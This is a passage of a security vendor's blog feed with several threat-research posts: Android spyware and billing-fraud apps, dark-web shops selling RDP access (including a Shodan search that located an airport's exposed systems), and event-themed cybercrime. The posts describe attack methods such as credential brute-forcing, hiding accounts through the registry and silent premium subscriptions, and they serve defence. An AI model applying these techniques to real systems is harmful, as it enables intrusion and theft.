User data is encrypted with AES before it is sent to the control server. Cryptor class provides the encryption and decryption functionality. The doCrypto function is defined as a common function. As the first parameter of the function, “1” represents encryption and “2” is decryption mode:

The encryption key is generated dynamically using the SecureRandom function, which generates a unique value on the device to obfuscate the data. The addKey function embeds the encryption key into the encryption data. The data with the key is uploaded to the control server.

We believe the malware author uses this AES encryption technique for any information to be uploaded to escape the detection by Google Bouncer and network inspection products.

Our initial analysis suggests there were at least 300 infections, which we suspect occurred between June 8‒12, before the first World Cup matches began.

The second round

The second phase of the attack leverages an encrypted dex file. The file has a .data extension and is downloaded and dynamically loaded by the first-stage malware; it is extracted with the same mechanism used to upload the encrypted files. The location of the decryption key can be identified from the size of the contents and a fixed number in the first-stage malware.

After decryption, we can see out.dex in zipped format. The dex file has spy functions to steal SMS messages, contacts, multimedia files, and device location from infected devices.

The control server in second stage is different from the first stage’s. The encryption methodology and the server folder structures on the remote server are identical to the first stage.

We found one victim’s GPS location information and recorded audio files (.3gp) among the encrypted data on the control server.

Variants

We have also discovered two other variants of this threat created by the same authors and published to Google Play as dating apps. Although all the apps have been removed from Google Play, we still see indications of infections from our telemetry data, so we know these apps are active on some users’ devices.

Our telemetry data indicates that although users around the world have downloaded the app, the majority of downloads took place in the Middle East, most likely as a result of a World Cup–themed Twitter post in Hebrew directing people to download the app for a breakdown of the latest events.

McAfee Mobile Security users are protected against all the variants of this threat, detected as   Android/FoulGoal.A.

The post Google Play Users Risk a Yellow Card With Android/FoulGoal.A appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/google-play-users-risk-a-yellow-card-with-android-foulgoal-a/feed/ 0
Organizations Leave Backdoors Open to Cheap Remote Desktop Protocol Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/organizations-leave-backdoors-open-to-cheap-remote-desktop-protocol-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/organizations-leave-backdoors-open-to-cheap-remote-desktop-protocol-attacks/#respond Wed, 11 Jul 2018 13:00:06 +0000 https://securingtomorrow.mcafee.com/?p=89360 While researching underground hacker marketplaces, the McAfee Advanced Threat Research team has discovered that access linked to security and building automation systems of a major international airport could be bought for only US$10.

The post Organizations Leave Backdoors Open to Cheap Remote Desktop Protocol Attacks appeared first on McAfee Blogs.

]]>
Thanks to my colleague Christiaan Beek for his advice and contributions.

While researching underground hacker marketplaces, the McAfee Advanced Threat Research team has discovered that access linked to security and building automation systems of a major international airport could be bought for only US$10.

The dark web contains RDP shops, online platforms selling remote desktop protocol (RDP) access to hacked machines, from which one can buy logins to computer systems to potentially cripple cities and bring down major companies.

RDP, a proprietary protocol developed by Microsoft that allows a user to access another computer through a graphical interface, is a powerful tool for systems administrators. In the wrong hands, RDP can be used to devastating effect. The recent SamSam ransomware attacks on several American institutions demonstrate how RDP access serves as an entry point. Attacking a high-value network can be as easy and cheap as going underground and making a simple purchase. Cybercriminals like the SamSam group only have to spend an initial $10 dollars to get access and are charging $40K ransom for decryption, not a bad return on investment.

A screenshot of Blackpass.bz, one of the most popular RDP-shops, largely due to the variety of services offered.

Shops explained

Security maven Brian Krebs wrote the article “Really Dumb Passwords” in 2013. That short phrase encapsulates the vulnerability of RDP systems. Attackers simply scan the Internet for systems that accept RDP connections and launch a brute-force attack with popular tools such as, Hydra, NLBrute or RDP Forcer to gain access. These tools combine password dictionaries with the vast number of credentials stolen in recent large data breaches. Five years later, RDP shops are even larger and easier to access.

The McAfee Advanced Threat Research team looked at several RDP shops, ranging in size from 15 to more than 40,000 RDP connections for sale at Ultimate Anonymity Service (UAS), a Russian business and the largest active shop we researched. We also looked at smaller shops found through forum searches and chats. During the course of our research we noticed that the size of the bigger shops varies from day to day with about 10%. The goal of our research was not to create a definitive list of RDP shops; rather, we sought a better understanding of the general modus operandi, products offered, and potential victims.

The number of compromised systems claimed to be available for sale by several RDP shops. A single compromised system can appear on more than one shop’s list.

RDP access by cybercriminals

How do cybercriminals (mis)use RDP access? RDP was designed to be an efficient way to access a network. By leveraging RDP, an attacker need not create a sophisticated phishing campaign, invest in malware obfuscation, use an exploit kit, or worry about antimalware defenses. Once attackers gain access, they are in the system. Scouring the criminal underground, we found the top uses of hacked RDP machines promoted by RDP shops.

False flags: Using RDP access to create misdirection is one of the most common applications. While preserving anonymity, an attacker can make it appear as if his illegal activity originates from the victim’s machine, effectively planting a false flag for investigators and security researchers. Attackers can plant this flag by compiling malicious code on the victim’s machine, purposely creating false debugging paths and changing compiler environment traces.

Spam: Just as spammers use giant botnets such as Necrus and Kelihos, RDP access is popular among a subset of spammers. Some of the systems we found for sale are actively promoted for mass-mailing campaigns, and almost all the shops offer a free blacklist check, to see if the systems were flagged by SpamHaus and other antispam organizations.

Account abuse, credential harvesting, and extortion: By accessing a system via RDP, attackers can obtain almost all data stored on a system. This information can be used for identity theft, account takeovers, credit card fraud, and extortion, etc.

Cryptomining: In the latest McAfee Labs Threats Report, we wrote about the increase in illegal cryptocurrency mining due to the rising market value of digital currencies. We found several criminal forums actively advertising Monero mining as a use for compromised RDP machines.

Monero mining via RDP advertised on a cybercriminal forum.

Ransomware: The large majority of ransomware is still spread by phishing emails and exploit kits. However, specialized criminal groups such as SamSam are known to use RDP to easily enter their victims’ networks almost undetected.

RDP shop overview

Systems for sale: The advertised systems ranged from Windows XP through Windows 10. Windows 2008 and 2012 Server were the most abundant systems, with around 11,000 and 6,500, respectively, for sale. Prices ranged from around US $3 for a simple configuration to $19 for a high-bandwidth system that offered access with administrator rights.

Third-party resellers: When comparing “stock” among several RDP shops, we found that the same RDP machines were sold at different shops, indicating that these shops act as resellers.

Windows Embedded Standard: Windows Embedded Standard, now called Windows IOT, is used in a wide variety of systems that require a small footprint. These systems can range from thin clients to hotel kiosk systems, announcement boards, point-of-sale (POS) systems, and even parking meters among others.

Among the thousands of RDP-access systems offered, some configurations stood out. We found hundreds of identically configured Windows Embedded Standard machines for sale at UAS Shop and BlackPass; all these machines were in the Netherlands. This configuration was equipped with a 1-GHz VIA Eden processor. An open-source search of this configuration revealed that it is most commonly used in thin clients and some POS systems. The configurations are associated with several municipalities, housing associations, and health care institutions in the Netherlands.

Thin client and POS systems are often overlooked and not commonly updated, making them an ideal backdoor target for an attacker. Although these systems have a small physical footprint, the business impact of having such a system compromised should not be underestimated. As we’ve observed from previous breaching of retailers leveraging unpatched or vulnerable POS systems, the damage extends far beyond financial only, including customer perception and long-term brand reputation.  In regard to the current affected systems we discovered, McAfee has notified the identified victims and is working to learn further detail on why and how these identical Windows systems were compromised.

Government and health care institutions: We also came across multiple government systems being sold worldwide, including those linked to the United States, and dozens of connections linked to health care institutions, from hospitals and nursing homes to suppliers of medical equipment. In a March blog post, the Advanced Threat Research team showed the possible consequences of ill-secured medical data and what can happen when an attacker gains access to medical systems. It is very troublesome to see that RDP shops offer an easy way in.

Additional products for sale

Services offered by our researched RDP shops.

In addition to selling RDP, some of these shops offer a lively trade in social security numbers, credit card data, and logins to online shops. The second-largest RDP shop we researched, BlackPass, offered the widest variety of products. The most prolific of these brokers provide one-stop access to all the tools used to commit fraud: RDP access into computers, social security numbers and other integral data to set up loans or open bank accounts.

For legal and ethical reasons, we did not purchase any of the products offered. Therefore, we cannot determine the quality of the services.

RDP ransomware attack scenario

Is it possible to find a high-value victim using an RDP shop? The Advanced Threat Research team put this theory to the test. By leveraging the vast amounts of connections offered by the RDP shops, we were able to quickly identify a victim that fits the profile of a high-value target in the United States.

We found a newly posted (on April 16) Windows Server 2008 R2 Standard machine on the UAS Shop. According to the shop details, it belonged to a city in the United States and for a mere $10 we could get administrator rights to this system.

RDP access offered for sale.

UAS Shop hides the last two octets the of the IP addresses of the systems it offers for sale and charges a small fee for the complete address. (We did not pay for any services offered by UAS or any other shop.) To locate the system being sold, we used shodan.io to search for any open RDP ports at that specific organization using this query:

org:”City  XXX” port:”3389”

The results were far more alarming than we anticipated. The Shodan search narrowed 65,536 possible IPs to just three that matched our query. By obtaining a complete IP address we could now look up the WHOIS information, which revealed that all the addresses belonged to a major International airport. This is definitely not something you want to discover on a Russian underground RDP shop, but the story gets worse.

From bad to worse

Two of the IP addresses presented a screenshot of the accessible login screens.

A login screen that matches the configuration offered in the RDP shop.

A closer look at the screenshots shows that the Windows configuration (preceding screen) is identical to the system offered in the RDP shop. There are three user accounts available on this system, one of which is the administrator account. The names of the other accounts seemed unimportant at first but after performing several open-source searches we found that the accounts were associated with two companies specializing in airport security; one in security and building automation, the other in camera surveillance and video analytics. We did not explore the full level of access of these accounts, but a compromise could offer a great foothold and lateral movement through the network using tools such as Mimikatz.

The login screen of a second system on the same network.

Looking at the other login account (preceding screen), we saw it is part of the domain with a very specific abbreviation. We performed the same kind of search on the other login account and found the domain is most likely associated with the airport’s automated transit system, the passenger transport system that connects terminals. It is troublesome that a system with such significant public impact might be openly accessible from the Internet.

Now we know that attackers, like the SamSam group, can indeed use an RDP shop to gain access to a potential high-value ransomware victim. We found that access to a system associated with a major international airport can be bought for only $10—with no zero-day exploit, elaborate phishing campaign, or watering hole attack.

Anonymization

To publish our findings, we have anonymized the data to prevent any disclosure of sensitive security information.

Basic forensic and security advice

Playing hide and seek

Besides selling countless connections, RDP shops offer tips on how to remain undetected when an attacker wants to use the freshly bought RDP access.

This screen from the UAS Shop’s FAQ section explains how to add several registry keys to hide user accounts.

The UAS Shop offers a zip file with a patch to allow multiuser RDP access, although it is not possible by default on some Windows versions. The zip file contains two .reg files that alter the Windows registry and a patch file that alters termsvrl.dll to allow concurrent remote desktop connections.

These alterations to the registry and files leave obvious traces on a system. Those indicators can be helpful when investigating misuse of RDP access.

In addition to checking for these signs, it is good practice to check the Windows event and security logs for unusual logon types and RDP use. The following screen, from the well-known SANS Digital Forensics and Incident Response poster, explains where the logs can be found.


Source: SANS DFIR Poster 2015.

Basic RDP security measures

Outside access to a network can be necessary, but it always comes with risk. We have summarized some basic RDP security measures:

  • Using complex passwords and two-factor authentication will make brute-force RDP attacks harder to succeed
  • Do not allow RDP connections over the open Internet
  • Lock out users and block or timeout IPs that have too many failed login attempts
  • Regularly check event logs for unusual login attempts
  • Consider using an account-naming convention that does not reveal organizational information
  • Enumerate all systems on the network and list how they are connected and through which protocols. This also applies for Internet of Things and POS systems.

Conclusion

Remotely accessing systems is essential for system administrators to perform their duties. Yet they must take the time to set up remote access in a way that is secure and not easily exploitable. RPD shops are stockpiling addresses of vulnerable machines and have reduced the effort of selecting victims by hackers to a simple online purchase.

Governments and organizations spend billions of dollars every year to secure the computer systems we trust. But even a state-of-the-art solution cannot provide security when the backdoor is left open or carries only a simple padlock. Just as we check the doors and windows when we leave our homes, organizations must regularly check which services are accessible from the outside and how they are secured. Protecting systems requires an integrated approach of defense in depth and proactive attitudes from every employee.

The post Organizations Leave Backdoors Open to Cheap Remote Desktop Protocol Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/organizations-leave-backdoors-open-to-cheap-remote-desktop-protocol-attacks/feed/ 0
Cybercrime in the Spotlight: How Crooks Capitalize on Cultural Events https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cybercrime-in-the-spotlight-how-crooks-capitalize-on-cultural-events/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cybercrime-in-the-spotlight-how-crooks-capitalize-on-cultural-events/#respond Tue, 03 Jul 2018 18:28:39 +0000 https://securingtomorrow.mcafee.com/?p=90214 Every four years, everyone’s head around the globe turns toward the television. The Olympics, the World Cup – world events like these have all eyes viewing friendly competition between nations. Operating under such a big spotlight, these events have been heavily guarded by physical security to ensure no participants or attendees are harmed. But what about […]

The post Cybercrime in the Spotlight: How Crooks Capitalize on Cultural Events appeared first on McAfee Blogs.

]]>
Every four years, everyone’s head around the globe turns toward the television. The Olympics, the World Cup – world events like these have all eyes viewing friendly competition between nations. Operating under such a big spotlight, these events have been heavily guarded by physical security to ensure no participants or attendees are harmed. But what about digital security? In 2018, many aspects of these events have become digitized, which is great for event organizers and viewers, but also for cybercriminals. In fact, reports are already circulating that hackers are targeting attendees of this year’s 2018 FIFA World Cup.

Why These Events?

The cultural value placed in these international games is precisely the reason cybercriminals target them. The more something is valued, the more people are willing to make sacrifices for it. Cybercriminals know that, and hope to capitalize on it.

In cases like the World Cup, fans may be willing to expose themselves to a more hostile environment in order to feel a part of the event. The same goes for companies that are associated with the sporting events, as they can fall victims to attacks just as individuals do.

Types of Attacks

Both innocent tourists and fans at home may have to deal with threats that result from their involvement in these events. Given the fact that internet access has increased all over the world, many tourists are vulnerable to rogue access-point attacks in public places. Attackers can use these points to harvest credentials and gain access to a victim’s device and accounts. Malware can also be placed within ATM machines, ready to rip off tourists withdrawing currency from their banks. As for fans at home, many phishing and waterhole attacks have been designed around these events to entice fans to visit malicious sites or open emails that appear to be related to the games.

However, for nation-state attacks, a lot of groundwork is done before these global events even begin. Our McAfee Labs team saw this firsthand in the period leading up to the Pyeongchang 2018 Olympic Winter Games. A nation-state hacker pretended to be a supplier to the Olympics and sent out weaponized mail to organizations of interest that contained malware developed well before the event had started.

The Implications

Whether the objective behind the threat is disruption or financial gain, these attacks all do have one thing in common — they impact the overall feeling of safety at these events and take away from what is supposed to feel like a worldwide celebration of sport.

Now, when fans wish to part of a big event such as the World Cup, they can no longer just focus on which jersey they’re wearing that day. They have to worry about their bank accounts being robbed or becoming extorted. Beyond the individual implications, the nation-state attacks that take place at these events can rear their head in an ugly way, as they can actually worsen international relations much more than a healthy sporting rivalry ever could.

So the question is – now what? On an individual level, visitors to these events must maintain overall good digital security hygiene. This means leaving unnecessary devices at home, enabling two-factor authentication, using a VPN service, and overall remaining alert and vigilant for scams.

Beyond that, we must all recognize that our physical and digital lives are converging at a fast pace, and we now have a large digital attack surface that is not yet properly safeguarded. And with both cybercriminals and nation-state actors showing such a heightened interest in global cultural events, cybersecurity must become an essential part of organizing such an event. Only then can countries host a successful and safe sporting event for everyone.

To learn more about what McAfee is doing to help face the threats to these events, be sure to follow us at @McAfee and @McAfee_Labs.

The post Cybercrime in the Spotlight: How Crooks Capitalize on Cultural Events appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cybercrime-in-the-spotlight-how-crooks-capitalize-on-cultural-events/feed/ 0
AsiaHitGroup Returns With New Billing-Fraud Campaign https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-returns-with-new-billing-fraud-campaign/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-returns-with-new-billing-fraud-campaign/#respond Thu, 28 Jun 2018 01:32:13 +0000 https://securingtomorrow.mcafee.com/?p=90111 Are you tired yet of the music track “Despacito”? If you downloaded this ringtone app from Google Play, chances are your answer is a resounding Yes. But it gets worse: The McAfee Mobile Research team recently found 15 apps on Google Play that were uploaded by the AsiaHitGroup Gang. The ringtone app was one of […]

The post AsiaHitGroup Returns With New Billing-Fraud Campaign appeared first on McAfee Blogs.

]]>
Are you tired yet of the music track “Despacito”? If you downloaded this ringtone app from Google Play, chances are your answer is a resounding Yes. But it gets worse: The McAfee Mobile Research team recently found 15 apps on Google Play that were uploaded by the AsiaHitGroup Gang. The ringtone app was one of them—downloaded 50,000 times from the official app store—that were designed to steal money from their victims. The AsiaHitGroup Gang has been active since at least 2016, attempting to charge 20,000 victims for the download of popular mobile applications containing the fake-installer app Sonvpay.A. For more analysis, see the Mobile Research team’s post.

Ordinarily we advise users to review the requested permissions before installing a mobile app, and normally this is enough. In this case, the only permission requested was access to SMS messages, and once installed the app behaved as expected. In the background, however, Sonvpay silently used the push notification service to subscribe users to premium-rate services.

This campaign displays a significant level of customization. The criminals can tailor their fraud to the country of their choosing. In our analysis we looked at mobile billing fraud targeting users in Kazakhstan, Malaysia, and Russia. In Kazakhstan victims are subscribed to a premium-rate service whereas in Malaysia and Russia they are connected to a WAP billing service. Further, the criminals recognize that in Malaysia the mobile operator sends a PIN code, so the attackers include functionality to intercept the SMS. Once intercepted, the app communicates with the mobile operator to subscribe to the service.

This group began targeting users in Asia, but the move to Russia shows its increasing ambition. The goal of the AsiaHitGroup Gang remains the same, but the manner in which they attempt to achieve their ends differs per campaign, and their techniques are improving. Although the security industry focuses much attention on “loud” and destructive attacks, many campaigns quietly steal funds from unsuspecting victims or those who have little visibility into what is happening.

The post AsiaHitGroup Returns With New Billing-Fraud Campaign appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-returns-with-new-billing-fraud-campaign/feed/ 0
AsiaHitGroup Gang Again Sneaks Billing-Fraud Apps Onto Google Play https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-gang-again-sneaks-billing-fraud-apps-onto-google-play/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-gang-again-sneaks-billing-fraud-apps-onto-google-play/#respond Thu, 28 Jun 2018 01:31:57 +0000 https://securingtomorrow.mcafee.com/?p=90004 The McAfee Mobile Research team has found a new billing-fraud campaign of at least 15 apps published in 2018 on Google Play. Toll fraud (which includes WAP billing fraud) is a leading category of potentially harmful apps on Google Play, according to the report Android Security 2017 Year in Review. This new campaign demonstrates that […]

The post AsiaHitGroup Gang Again Sneaks Billing-Fraud Apps Onto Google Play appeared first on McAfee Blogs.

]]>
The McAfee Mobile Research team has found a new billing-fraud campaign of at least 15 apps published in 2018 on Google Play. Toll fraud (which includes WAP billing fraud) is a leading category of potentially harmful apps on Google Play, according to the report Android Security 2017 Year in Review. This new campaign demonstrates that cybercriminals keep finding new ways to steal money from victims using apps on official stores such as Google Play.

The AsiaHitGroup Gang has been active since at least late 2016 with the distribution of the fake-installer applications Sonvpay.A, which attempted to charge at least 20,000 victims from primarily Thailand and Malaysia for the download of copies of popular applications. One year later, in November 2017, a new campaign was discovered on Google Play, Sonvpay.B, used IP address geolocation to confirm the country of the victim and added Russian victims to the WAP billing fraud to increase its potential to steal money from unsuspected users.

In January 2018, the AsiaHitGroup Gang returned to Google Play with the repackaged app, Sonvpay.C, which uses silent background push notifications to trigger a fake update dialog. When victims start the “update” they instead subscribe to a premium-rate service. The subscription operates primarily via WAP billing, which does not require sending SMS messages to premium-rate numbers. Instead it requires only that users employ the mobile network to access a specific website and automatically click on a button to initiate the subscription process. Based on the approximate number of installations from Google Play, the cost of the premium-service subscription, and the days that these apps were available, we estimate that the AsiaHitGroup Gang could have potentially earned between $60,500–$145,000 since January.

Sonvpay on Google Play

The McAfee Mobile Research team initially found the following applications repackaged with Sonvpay on Google Play, all of them published this year:

Figure 1. Sonvpay apps found on Google Play.

We notified Google about these apps on April 10 and they were promptly removed. A couple of days later the app “Despacito for Ringtone” was found again on the store and was quickly removed. In total we found 15 apps that were installed at least 50,000 times since the first one, Cut Ringtones 2018, was released on Google Play in January 2018. The following table lists the 15 malicious apps:

At the time of download, the only red flag that a user could notice is that the app needs access to SMS messages. Once installed and executed, the app behaves as expected (QR code reader, ring tones, etc.). However, in the background and without the user’s knowledge, Sonvpay listens for incoming push notifications that contain the data to perform mobile billing fraud.

Background Push Notification and Fake Update Screen

Sonvpay employs the onesignal push notification service to get the information to subscribe users to premium-rate services. To receive the data in the background without displaying a notification, Sonvpay implements the method “onNotificationProcessing” and returns “true” to make the notification silent:

Figure 2. Silent background notification.

The received data can perform WAP and SMS fraud along with information necessary to display a fake update notification to the user after some time of using the repackaged application. This fake notification has only one bogus button. If the user scrolls until the end, the misleading phrase “Click Skip is to agree” appears:

Figure 3. Fake update notification.

If the user clicks the only button, Sonvpay will do its job. However, even if there is no interaction with this window and the data in the push notification has the value “price” as empty, Sonvpay will proceed to subscribe to a premium-rate service:

Figure 4. Starting mobile billing fraud if “price” value is empty.

Downloading the Dynamic Payload from a Remote Server

One of the parameters obtained from the silent push notification is a URL to request the location of functionality to perform mobile billing fraud. Once the fake update notification is displayed, Sonvpay requests the download of the library from another remote server:

Figure 5. Sonvpay requesting library with additional functionality.

The new APK file is downloaded and stored in the path /sdcard/Android/<package_name>/cache/ so that it can be dynamically loaded and executed at runtime. The library we obtained for performing mobile billing fraud targeted only Kazakhstan and Malaysia but, because the library is present in a remote server and can be dynamically loaded, it can likely be updated at any time to target more countries or mobile operators.

WAP Billing and SMS Fraud

In the case of Kazakhstan, Sonvpay loads a specific URL delivered through the silent push notification and uses JavaScript to click on a button and on the element “activate” to fraudulently subscribe the user to a premium-rate service:

Figure 6. WAP billing fraud in Kazakhstan.

For Malaysia, the malware creates a new WebView to send the “Shortcode” and “Keyword” parameters to a specific URL to subscribe the user to a WAP billing service:

Figure 7. WAP billing fraud in Malaysia.

However, for Malaysia the app needs to intercept a confirmation code (PIN) sent by the mobile operator via SMS. Sonvpay has this SMS interception functionality implemented in the original repackaged application:

Figure 8. Processing an intercepted SMS message to get the confirmation PIN.

Once the PIN is obtained, it is sent to the mobile operator via a web request to automatically confirm the subscription. If the parameters for Kazakhstan or Malaysia do not match, Sonvpay still tries to perform mobile billing fraud by attempting to send an SMS message to a premium-rate number provided via the silent push notification:

Figure 9. Functionality to send an SMS message to a premium-rate number.

Closer Look to Previous Campaigns

While looking for patterns in the 2018 campaign, we found the app DJ Mixer–Music Mixer. As soon as this application executes, it checks if the device has an Internet connection. If the device is offline, the app shows the error message “You connect to internet to continue” and ends its execution. If the device is online, the app executes a web request to a specific URL:

Figure 10. Web request to the AsiaHitGroup Gang URL.

We learned the apps created by the developer SHINY Team 2017 were available on Google Play in September 2017; earlier Sonvpay variants were discovered in November 2017. The primary behavior of the two variants is almost the same—including the changing of the main icon and the app’s name to Download Manager to hide its presence from the user. However, with DJ Mixer, the geolocation of the IP address identifies the country of the infected device and aids the execution of the mobile billing fraud:

Figure 11. Using IP geolocation to target specific countries.

In this case only three countries are targeted via the geolocation service: Russia (RU), Thailand (TH), and Malaysia (MY). If the IP address of the infected devices is not from any of these countries, a dialog will claim the app is not active and that the user needs to uninstall and update to the latest version.

If the country is Thailand or Malaysia, the malicious app randomly selects a keyword to select an image to offer users premium-rate services. With Malaysia the image includes English text with terms of service and the button “Subscribe” to accept the randomly selected premium-rate service:

Figure 12. Screens displayed when the country of the IP address is Malaysia.

In the case of Thailand, the text is in Thai and includes a small version of terms of service along with instructions to unsubscribe and stop the charges:

Figure 13. Screens shown when the country of the IP address is Thailand.

Finally, with Russia no image is shown to the user. The app fraudulently charges the user via WAP billing while enabling 3G and disabling Wi-Fi:

Figure 14. Forcing the use of 3G to start WAP billing fraud.

We also found similar apps from late 2016 that performed SMS fraud by pretending to be legitimate popular applications and asking the user to pay for them. These are similar to text seen in the 2018 campaign as an update but labeled as Term of user:

Figure 15. Fake-installer behavior asking the user to pay for a popular legitimate app.

If the user clicks “No,” the app executes as expected. However, if the user clicks “Yes,” the app subscribes the user to a premium-rate service by sending an SMS message with a specific keyword to a short number. Next the mobile operator sends the device a PIN via SMS; the malware intercepts the PIN and returns it via web request to confirm the subscription.

Once the user is fraudulently subscribed to a premium-rate service to download a copy of a free app on official app stores, the malware shows the dialog “Downloading game…” and proceeds with the download of another APK stored on a third-party server. Although the APK file that we downloaded from the remote server is a copy of the legitimate popular app, the file can be changed at any point to deliver additional malware.

Unlike in previous campaigns, we did not find evidence that these fake-installer apps were distributed via Google Play. We believe that they were distributed via fake third-party markets from which users looking for popular apps are tricked into downloading APK files from unknown sources.  In June 2018 ESET and Sophos found a new version of this variant pretending to be the popular game Fortnite. The fake game was distributed via a YouTube video by asking the user to download the fake app from a specific URL. This recent campaign shows that the cybercriminals behind this threat are still active tricking users into installing these fake applications.

Connections Among Campaigns

All of these campaigns rely on billing-fraud apps targeting users in Southeast and Central Asia and offer some similarities in behavior such as the use of almost the same text and images to trick users into subscribing to premium-rate services. Other potential connections among the three campaigns suggest that all the apps are likely from the same actor group. For example, apps from all campaigns use the same string as debug log tag:

Figure 16. The “SonLv” string used as a log tag occurs in all campaigns.

There is also a notable similarity in package and classes names and in the use of a common framework (telpoo.frame) to perform typical tasks such as database, networking, and interface support:

Figure 17. Common package and classes names in all campaigns.

Finally, apps from the Google Play campaigns use the domain vilandsoft[.]com to check for updates. The same domain is also used by apps from the fake-installer campaign to deliver remote-execution commands, for example, action_sendsms:

Figure 18. A fake-installer app checking for the command action_sendsms.

The following timeline identifies the campaigns we have found from this group, strategies to trick users into installing the apps, distribution methods, main payload, and targeted countries:

 

Figure 19. A timeline of Sonvpay campaigns.

Conclusion

Sonvpay campaigns are one example of how cybercriminals like the AsiaHitGroup Gang constantly adapt their tactics to trick users into subscribing to premium-rate services and boosting their profits. The campaigns started in late 2016 with very simple fake installers that charged users for copies of popular apps. In late 2017, Google Play apps abused WAP-billing services and used IP address geolocation to target specific countries. In 2018, Google Play apps used silent background push notifications to trigger the display of a fake update message and to gather data for mobile billing fraud. We expect that cybercriminals will continue to develop and distribute new billing fraud campaigns to target more countries and affect more users around the world.

Cybercriminals always follow the money, and one of the most effective ways to steal money from users is via billing fraud. A victim will likely not notice a fraudulent charge, for example, until it appears on the mobile bill at the end of the month. Even when the payment is detected early, most of the time the charge is for a subscription rather than a one-time payment. Thus victims will need to find a way to unsubscribe from the premium-rate service, which may not be easy if the subscription occurred silently or if the app does not provide that information. Also, the fact that WAP-billing fraud does not require sending an SMS message to a premium-rate number makes it easier to commit. Cybercriminals need to only silently subscribe users by forcing them to load the WAP-billing service page and click on buttons. For these reasons we expect that mobile billing fraud will continue to target Android users.

McAfee Mobile Security detects this threat as Android/Sonvpay. To protect yourselves from this and similar threats, employ security software on your mobile devices, check user reviews for apps on Google Play, and do not accept or trust apps that ask for payment functionality via SMS messages as soon as the app is opened or without any interaction.

The post AsiaHitGroup Gang Again Sneaks Billing-Fraud Apps Onto Google Play appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/asiahitgroup-gang-again-sneaks-billing-fraud-apps-onto-google-play/feed/ 0
‘McAfee Labs Threats Report’ Spotlights Innovative Attack Techniques, Cryptocurrency Mining, Multisector Attacks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-spotlights-innovative-attack-techniques-cryptocurrency-mining-multisector-attacks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-spotlights-innovative-attack-techniques-cryptocurrency-mining-multisector-attacks/#respond Wed, 27 Jun 2018 04:01:07 +0000 https://securingtomorrow.mcafee.com/?p=89357 In the McAfee Labs Threats Report June 2018, published today, we share investigative research and threat statistics gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q1 of this year.

The post ‘McAfee Labs Threats Report’ Spotlights Innovative Attack Techniques, Cryptocurrency Mining, Multisector Attacks appeared first on McAfee Blogs.

]]>
In the McAfee Labs Threats Report June 2018, published today, we share investigative research and threat statistics gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q1 of this year. We have observed that although overall new malware has declined by 31% since the previous quarter, bad actors are working relentlessly to develop new technologies and tactics that evade many security defenses.

These are the key campaigns we cover in this report.

  • Deeper investigations reveal that the attack targeting organizations involved in the Pyeongchang Winter Olympics in South Korea used not just one PowerShell implant script, but multiple implants, including Gold Dragon, which established persistence to engage in reconnaissance and enable continued data exfiltration.
  • The infamous global cybercrime ring known as Lazarus has resurfaced. We discovered that the group has launched the Bitcoin-stealing phishing campaign “HaoBao,” which targets the financial sector and Bitcoin users.
  • We are also seeing the emergence of a complex, multisector campaign dubbed Operation GhostSecret, which uses many data-gathering implants. We expect to see an escalation of these attacks in the near future.

Here are some additional findings and insights:

  • Ransomware drops: New ransomware attacks took a significant dive (-32%), largely as a result of an 81% drop in Android lockscreen malware.
  • Cryptojacking makes a comeback: Attackers targeting cryptocurrencies may be moving from ransomware to coin miner malware, which hijacks systems to mine for cryptocurrencies and increase their profits. New coin miner malware jumped an astronomical 1,189% in Q1.
  • LNK outpaces PowerShell: Cybercriminals are increasingly using LNK shortcuts to surreptitiously deliver malware. New PowerShell malware dropped 77% in Q1, while attacks leveraging Microsoft Windows LNK shortcut files jumped 24%.
  • Incidents go global: Overall security incidents rose 41% in Q1, with incidents hitting multiple regions showing the biggest increase, at 67%, and the Americas showing the next largest increase, at 40%.

Get all the details by reading the McAfee Labs Threats Report, June 2018.

The post ‘McAfee Labs Threats Report’ Spotlights Innovative Attack Techniques, Cryptocurrency Mining, Multisector Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-spotlights-innovative-attack-techniques-cryptocurrency-mining-multisector-attacks/feed/ 0
Checking In Halfway: The McAfee Labs 2018 Threats Predictions https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/checking-in-halfway-the-mcafee-labs-2018-threats-predictions/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/checking-in-halfway-the-mcafee-labs-2018-threats-predictions/#respond Tue, 26 Jun 2018 18:26:25 +0000 https://securingtomorrow.mcafee.com/?p=90125 Time flies when you’re fighting cybercrime. Now that’s not exactly how the phrase goes, but for us at McAfee, it’s hard to believe that we’re already almost halfway through 2018. It seems like just yesterday we were predicting the types of cyberthreats we would see throughout this year with our McAfee Labs 2018 Threats Predictions […]

The post Checking In Halfway: The McAfee Labs 2018 Threats Predictions appeared first on McAfee Blogs.

]]>
Time flies when you’re fighting cybercrime. Now that’s not exactly how the phrase goes, but for us at McAfee, it’s hard to believe that we’re already almost halfway through 2018. It seems like just yesterday we were predicting the types of cyberthreats we would see throughout this year with our McAfee Labs 2018 Threats Predictions Report. From the machine learning arms race to the home becoming the ultimate storefront, it looked like we had a quite a year ahead of us. But in reality, not all these predictions can to fruition. And conversely, some unraveled in ways we didn’t imagine. Let’s take a look at what predictions became reality, and what may still lay ahead for the cybersecurity industry in 2018.

